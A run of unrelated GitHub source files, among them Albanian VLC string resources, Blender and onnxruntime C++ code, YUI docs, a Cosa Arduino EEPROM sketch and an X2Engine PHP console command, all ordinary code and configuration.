<string name="interface_secondary_display_category">Ndërfaqja - Display Sekondar</string>
<string name="interface_secondary_display_category_summary">Konfigurimet kur kemi të lidhur display sekondar (HDMI/Miracast).</string>
<string name="internal_memory">Memoria e brendshme</string>
<string name="invalid_location">Lokacion jo i drejt</string>
<string name="jump_to_time">Kalo te koha</string>
<string name="last_playlist">Lista e përdorur së fundmi</string>
<string name="licence">Liçenca</string>
<string name="loading">Duke u ngarkuar</string>
<string name="lock">Blloko</string>
<string name="locked">I bllokuar</string>
<string name="log_service_text">Hap log console</string>
<string name="log_service_title">Regjistrimi i VLC log-eve</string>
<string name="media_db_cleared">Database-i Media u pastrua!</string>
<string name="mediafiles">Skedarë Media</string>
<string name="more_actions">Më shumë opsione</string>
<string name="move">Lëvize</string>
<string name="navmenu">menuja e navigimit</string>
<string name="network_browsing">Rrjeti Lokal</string>
<string name="network_caching">Vlera e ruajtjes ne rrjet</string>
<string name="network_caching_summary">Koha që nevojitet për bufferin e medias ne rrjet (në ms). Nuk punon me dekodimin hardware. Lëre bosh për t\'i bërë reset.</string>
<string name="network_connection_needed">Nuk ka lidhje me rrjetin lokal</string>
<string name="network_empty">Regjistri është bosh.</string>
<string name="network_shares_discovery">Duke kërkuar për ndarje në rrjet...</string>
<string name="next">Tjetra</string>
<string name="no_file_picker_found">Nuk u gjend një zgjedhes skedarësh në sistem.</string>
<string name="nohistory">S\'ka histori</string>
<string name="nomedia">S\'ka media</string>
<string name="noplaylist">S\'ka liste</string>
<string name="nosubdirectory">S\'ka nënregjistra</string>
<string name="not_show_again">Mos shfaq përsëri</string>
<string name="notavailable">I paarritshëm</string>
<string name="ok">OK</string>
<string name="ok_got_it">Në rregull e kuptova</string>
<string name="open">Hap</string>
<string name="open_mrl">Hap MRL</string>
<string name="open_mrl_dialog_msg">Shkruaj network MRL: e.g. http://, mms:// or rtsp://</string>
<string name="open_mrl_dialog_title">Hap transmetimin ne rrejt</string>
<string name="options">Opsionet</string>
<string name="other">Të Tjera</string>
<string name="parent_folder">Dosja prind</string>
<string name="pause">Pusho</string>
<string name="performance_prefs_category">Performanca</string>
<string name="play">Luaj</string>
<string name="play_all">Luaj te gjithe</string>
<string name="play_as_audio">Luaj si audio</string>
<string name="play_as_audio_background">Luaj videot ne background</string>
<string name="play_as_audio_background_summary">Vazhdo luajtjen e videos ne background kur te fik ekranin ose te klikoj butonin HOME</string>
<string name="play_as_video">Luaj si video</string>
<string name="play_from_start">Luaj nga fillimi</string>
<string name="playback_speed">Shpejtësia e luajtjes</string>
<string name="playlist_name_hint">emri i listës</string>
<string name="playlist_save">Ruaje Listen</string>
<string name="playlist_tips">Lista</string>
<string name="playlists">Listat</string>
<string name="please_wait">Ju lutem prisni</string>
<string name="preferences">Preferencat</string>
<string name="previous">I mëparshëm</string>
<string name="previous_next_song">Kënga Më para/Prapa</string>
<string name="quit">Dil</string>
<string name="rearrange_order">Rirëndit rradhen</string>
<string name="refresh">Rifresko</string>
<string name="remove">Hiq</string>
<string name="remove_custom_path">Fshij adresen tënde</string>
<string name="remove_song">Hiq kengen</string>
<string name="repeat">Pa Përsëritje</string>
<string name="repeat_all">Përsëri të gjitha</string>
<string name="repeat_single">Përsërit një her</string>
<string name="resize">Ndrro madhësinë</string>
<string name="restart_vlc">Ristarto VLC</string>
<string name="resume_from_position">Vazhdo nga pozicioni i kaluar</string>
<string name="revision">Rishikim</string>
<string name="ringtone_error">Një error ndodhi gjatë vendosjes së ziles.</string>
<string name="ringtone_set">Skedari \'%1$s\' u vendos si zile.</string>
<string name="screen_orientation">Orientimi i ekranit</string>
<string name="screen_orientation_landscape">Panoramë</string>
<string name="screen_orientation_portrait">Portret</string>
<string name="screen_orientation_reverse_landscape">Pasqyro peisazhin</string>
<string name="screen_orientation_reverse_portrait">Pasqyro portretin</string>
<string name="screen_orientation_sensor">Automatik (sensor)</string>
<string name="screen_orientation_start_lock">I kyçur në fillim</string>
<string name="search">Kërko</string>
<string name="search_hint">Kërko media</string>
<string name="search_history">Kërko historinë</string>
<string name="searchable_hint">Kërko</string>
<string name="seek">Dua</string>
<string name="send_log">Dërgo te log</string>
<string name="sending_log">Duke e derguar tek log...</string>
<string name="serious_crash">Për fat të keq ndoshi nje error serioz dhe VLC u mbyll.</string>
<string name="set_locale">Zgjidhe lokale</string>
<string name="set_locale_detail">Lëre bosht për t\'i bërë reset</string>
<string name="set_locale_popup">Dil dhe ristartoje VLC që ndryshimet të kenë efekt.</string>
<string name="set_song">Vendose si zile</string>
<string name="show_playlist">Shfaq listen</string>
<string name="shuffle">Përzierja Off</string>
<string name="shuffle_on">Përzierja On</string>
<string name="sleep_cancel">Anullo gradimin e kohës</string>
<string name="sleep_title">Gradim kohe</string>
<string name="songs">Kenget</string>
<string name="sortby">Rëndit sipas</string>
<string name="sortby_date">Rëndit sipas datës</string>
<string name="sortby_date_desc">Rëndit sipas datës</string>
<string name="sortby_length">Rëndit sipas gjatesisë</string>
<string name="sortby_length_desc">Rëndit sipas gjatesisë</string>
<string name="sortby_name">Rëndit sipas emrit</string>
<string name="sortby_name_desc">Rëndit sipas emrit</string>
<string name="sound_off">Zëri off</string>
<string name="sound_on">Zëri on</string>
<string name="spu_delay">Vonimi i titres</string>
<string name="start_logging">Fillo logimin</string>
<string name="stop">Stop</string>
<string name="stop_logging">Ndalo logimin</string>
<string name="subtitle_label">Shto skedar titrash</string>
<string name="subtitle_select">Zgjidh titra</string>
<string name="subtitle_text_encoding">Dekodimi i titrave</string>
<string name="subtitles">Titra </string>
<string name="surface_best_fit">Më e mira e përshtatur</string>
<string name="surface_fill">Plotësoje</string>
<string name="surface_fit_horizontal">Përshtate horizontalisht</string>
<string name="surface_fit_vertical">Përshtate vertikalisht</string>
<string name="surface_original">Qëndër</string>
<string name="thumbnail">Thumbnail</string>
<string name="title">Titull</string>
<string name="tools">Mjetet</string>
<string name="track_audio">Zëri</string>
<string name="track_codec_info">Kodi: %1$s\n</string>
<string name="track_framerate_info">Frame rate: %1$.3f\n</string>
<string name="track_language_info">Gjuha: %1$s\n</string>
<string name="track_resolution_info">Rezolucioni: %1$dx%2$d\n</string>
<string name="track_samplerate_info">Norma e shballonit: %1$d Hz\n</string>
<string name="track_text">Titra</string>
<string name="track_unknown">Panjohur</string>
<string name="track_video">Videoja</string>
<string name="unknown_album">Album i panjohur</string>
<string name="unknown_artist">Artiste i panjohur</string>
<string name="unknown_genre">Zhanri i panjohur</string>
<string name="unlocked">I çbllokuar</string>
<string name="unseekable_stream">Transmetim i pakrahasueshëm</string>
<string name="validation">Jeni të sigurtë ?</string>
<string name="video">Video</string>
<string name="video_player_tips">Video player tips:</string>
<string name="vlc_authors">Autorët e VLC</string>
<string name="volume">Volumi</string>
<string name="vout">Dalja Video</string>
<string name="vout_android_surface">Android surface</string>
<string name="vout_summary">Ndrysho mënyrën qe VLC përdor për të shfaqur video.</string>
</resources> | {
"pile_set_name": "Github"
} |
{
"compilerOptions": {
"target": "es5",
"module": "commonjs",
"strict": true,
"esModuleInterop": true
}
}
| {
"pile_set_name": "Github"
} |
/*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
/** \file
* \ingroup freestyle
*/
#include "BPy_ShapeIdF0D.h"
#include "../../../view_map/Functions0D.h"
#ifdef __cplusplus
extern "C" {
#endif
///////////////////////////////////////////////////////////////////////////////////////////
//------------------------INSTANCE METHODS ----------------------------------
static char ShapeIdF0D___doc__[] =
"Class hierarchy: :class:`freestyle.types.UnaryFunction0D` > "
":class:`freestyle.types.UnaryFunction0DId` > :class:`ShapeIdF0D`\n"
"\n"
".. method:: __init__()\n"
"\n"
" Builds a ShapeIdF0D object.\n"
"\n"
".. method:: __call__(it)\n"
"\n"
" Returns the :class:`freestyle.types.Id` of the Shape the\n"
" :class:`freestyle.types.Interface0D` pointed by the\n"
" Interface0DIterator belongs to. This evaluation can be ambiguous (in\n"
" the case of a :class:`freestyle.types.TVertex` for example). This\n"
" functor tries to remove this ambiguity using the context offered by\n"
" the 1D element to which the Interface0DIterator belongs to. However,\n"
" there still can be problematic cases, and the user willing to deal\n"
" with this cases in a specific way should implement its own\n"
" getShapeIdF0D functor.\n"
"\n"
" :arg it: An Interface0DIterator object.\n"
" :type it: :class:`freestyle.types.Interface0DIterator`\n"
" :return: The Id of the Shape the pointed Interface0D belongs to.\n"
" :rtype: :class:`freestyle.types.Id`\n";
static int ShapeIdF0D___init__(BPy_ShapeIdF0D *self, PyObject *args, PyObject *kwds)
{
static const char *kwlist[] = {NULL};
if (!PyArg_ParseTupleAndKeywords(args, kwds, "", (char **)kwlist)) {
return -1;
}
self->py_uf0D_id.uf0D_id = new Functions0D::ShapeIdF0D();
self->py_uf0D_id.uf0D_id->py_uf0D = (PyObject *)self;
return 0;
}
/*-----------------------BPy_ShapeIdF0D type definition ------------------------------*/
PyTypeObject ShapeIdF0D_Type = {
PyVarObject_HEAD_INIT(NULL, 0) "ShapeIdF0D", /* tp_name */
sizeof(BPy_ShapeIdF0D), /* tp_basicsize */
0, /* tp_itemsize */
0, /* tp_dealloc */
0, /* tp_print */
0, /* tp_getattr */
0, /* tp_setattr */
0, /* tp_reserved */
0, /* tp_repr */
0, /* tp_as_number */
0, /* tp_as_sequence */
0, /* tp_as_mapping */
0, /* tp_hash */
0, /* tp_call */
0, /* tp_str */
0, /* tp_getattro */
0, /* tp_setattro */
0, /* tp_as_buffer */
Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */
ShapeIdF0D___doc__, /* tp_doc */
0, /* tp_traverse */
0, /* tp_clear */
0, /* tp_richcompare */
0, /* tp_weaklistoffset */
0, /* tp_iter */
0, /* tp_iternext */
0, /* tp_methods */
0, /* tp_members */
0, /* tp_getset */
&UnaryFunction0DId_Type, /* tp_base */
0, /* tp_dict */
0, /* tp_descr_get */
0, /* tp_descr_set */
0, /* tp_dictoffset */
(initproc)ShapeIdF0D___init__, /* tp_init */
0, /* tp_alloc */
0, /* tp_new */
};
///////////////////////////////////////////////////////////////////////////////////////////
#ifdef __cplusplus
}
#endif
| {
"pile_set_name": "Github"
} |
<style type="text/css">
{{>index-css}}
</style>
<div class="intro">
<p>
{{description}}
</p>
<p>Special thanks to <a href='http://fontello.com' target='_blank'>http://fontello.com</a> by which means this gallerymodule is created</p>
</div>
{{>getting-started}}
<h2>Description</h2>
<p>By adding this module, you have 2 classnames at your proposal, that can make icons (supplied by <code>gallerycss-itsa-*</code>-modules) to spin. The classname should be added to the <u>i-element</u> that represents the icon. Both classes are equivallent:
</p>
<ul>
<li><code>itsa-busy</code></li>
<li><code>animate-spin</code></li>
</ul>
<p>
Also there is a separate classname that you should use when you use an animated fonticon as 'standalone' that is, not inside a button. You need this to keep the spinning icon steady:
<ul>
<li><code>itsa-iconstandalone</code></li>
</ul>
</p>
<h2>Dependencies</h2>
<p>
This module is always loaded together with <code>gallerycss-itsa-base</code> and some <code>gallerycss-itsa-*</code> module. See the examples.
</p>
<h2>Usage</h2>
```html
<button class="itsabutton-iconleft">
<i class="itsaicon-form-load itsa-busy"></i><code>Load
</button>
<-- or as standalone: -->
<i class="itsaicon-form-load itsa-iconstandalone itsa-busy"></i><code>Load
```
```js
YUI(yuiconfig).use('yui-base', function(Y) {
Y.use('gallerycss-itsa-base', 'gallerycss-itsa-form'); // now the iconfonts will load asynchroniously
// code can be executed
...
});
```
<h2>Licence</h2>
Copyright (c) 2013 <a href="http://itsasbreuk.nl">Its Asbreuk</a><br />
Copyright (c) 2013 <a href="http://developer.yahoo.com/yui/license.html">YUI BSD License</a> | {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<div style="position: absolute; top: 0; left: 0; bottom: 0; right: 0; background-color: rgba(255,0,0,0.50196)">
</div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
/**
* @file CosaEEPROM.ino
* @version 1.0
*
* @section License
* Copyright (C) 2013-2015, Mikael Patel
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* @section Description
* Demo of the default EEPROM device driver and usage of the EEMEM
* directive.
*
* @section Circuit
* Uses the MCU internal EEPROM and Analog Pin A0 for samples.
*
* This file is part of the Arduino Che Cosa project.
*/
#include "Cosa/Watchdog.hh"
#include "Cosa/Memory.h"
#include "Cosa/Trace.hh"
#include "Cosa/UART.hh"
#include "Cosa/EEPROM.hh"
#include "Cosa/AnalogPin.hh"
// EEPROM access object
EEPROM eeprom;
// Simple configuration struct in EEPROM
static const int NAME_MAX = 16;
struct config_t {
int mode;
int speed;
char name[NAME_MAX];
};
config_t config EEMEM = {
17,
9600,
".EEPROM"
};
// Sensor log in EEPROM
static const int DATA_MAX = 64;
uint16_t data[DATA_MAX] EEMEM;
// Analog input pin
AnalogPin sensor(Board::A0);
void setup()
{
// Use serial as output stream
uart.begin(9600);
trace.begin(&uart, PSTR("CosaEEPROM: started"));
TRACE(free_memory());
Watchdog::begin();
// Initiate data vector with index
for (uint8_t i = 0; i < DATA_MAX; i++)
ASSERT(eeprom.write(&data[i], (uint16_t) 0xffff) == sizeof(uint16_t));
// Read the configuration and print
config_t init;
ASSERT(eeprom.read(&init, &config, sizeof(init)) == sizeof(init));
trace << PSTR("init(mode = ") << init.mode
<< PSTR(", speed = ") << init.speed
<< PSTR(", name = \"") << init.name
<< PSTR("\")\n");
AnalogPin::powerup();
}
void loop()
{
static int i = 0;
uint16_t x;
// Print sensor samples
if (i == 0) {
for (i = 0; i < (int) membersof(data); i++) {
ASSERT(eeprom.read(&x, &data[i]) == sizeof(x));
trace << PSTR("data[") << i << PSTR("] = ") << x << endl;
}
i = 0;
trace << endl;
}
// Update data element and write back
x = sensor.sample();
ASSERT(eeprom.write(&data[i], x) == sizeof(x));
// Iterate to the next data element
i += 1;
if (i == membersof(data)) i = 0;
// Take a nap
sleep(2);
}
| {
"pile_set_name": "Github"
} |
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
#pragma once
#include "core/common/optional.h"
#include "core/providers/cuda/cuda_common.h"
#include "core/providers/cuda/reduction/reduction_ops.h"
#include "core/providers/cuda/reduction/reduction_functions.h"
namespace onnxruntime {
namespace cuda {
template <typename T>
class ReduceSumTraining final : public ReduceKernel<true> {
public:
ReduceSumTraining(const OpKernelInfo& info) : ReduceKernel<true>(info) {
fast_reduction_ = true;
}
Status ComputeInternal(OpKernelContext* ctx) const override {
return ComputeImplEx<T>(ctx, CUDNN_REDUCE_TENSOR_ADD);
}
};
} // namespace cuda
} // namespace onnxruntime
| {
"pile_set_name": "Github"
} |
(A<=>B)<=>C
| {
"pile_set_name": "Github"
} |
<?php
/***********************************************************************************
* X2Engine Open Source Edition is a customer relationship management program developed by
* X2 Engine, Inc. Copyright (C) 2011-2019 X2 Engine Inc.
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU Affero General Public License version 3 as published by the
* Free Software Foundation with the addition of the following permission added
* to Section 15 as permitted in Section 7(a): FOR ANY PART OF THE COVERED WORK
* IN WHICH THE COPYRIGHT IS OWNED BY X2ENGINE, X2ENGINE DISCLAIMS THE WARRANTY
* OF NON INFRINGEMENT OF THIRD PARTY RIGHTS.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more
* details.
*
* You should have received a copy of the GNU Affero General Public License along with
* this program; if not, see http://www.gnu.org/licenses or write to the Free
* Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
* 02110-1301 USA.
*
* You can contact X2Engine, Inc. P.O. Box 610121, Redwood City,
* California 94061, USA. or at email address [email protected].
*
* The interactive user interfaces in modified source and object code versions
* of this program must display Appropriate Legal Notices, as required under
* Section 5 of the GNU Affero General Public License version 3.
*
* In accordance with Section 7(b) of the GNU Affero General Public License version 3,
* these Appropriate Legal Notices must retain the display of the "Powered by
* X2 Engine" logo. If the display of the logo is not reasonably feasible for
* technical reasons, the Appropriate Legal Notices must display the words
* "Powered by X2 Engine".
**********************************************************************************/
/**
* Displays the declaration of an array containing the names of all files in the
* updater utility.
*
* @package application.commands
* @author Demitri Morgan <[email protected]>
*/
class UpdaterPackageCommand extends CConsoleCommand {
public function run($args) {
$comp = new CComponent();
$ubconfig = array_merge(array(
'class' => 'UpdaterBehavior',
'isConsole' => true,
'noHalt' => true,
));
$comp->attachBehavior('UpdaterBehavior', $ubconfig);
// The files directly involved in the update process:
$updaterFiles = $comp->updaterFiles;
// The web-based updater's action classes, which are defined separately:
$updaterActions = $comp->getWebUpdaterActions(false);
foreach($updaterActions as $name => $properties){
$updaterFiles[] = UpdaterBehavior::classAliasPath($properties['class']);
}
echo "\$deps = ";
var_export($updaterFiles);
}
}
?>
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.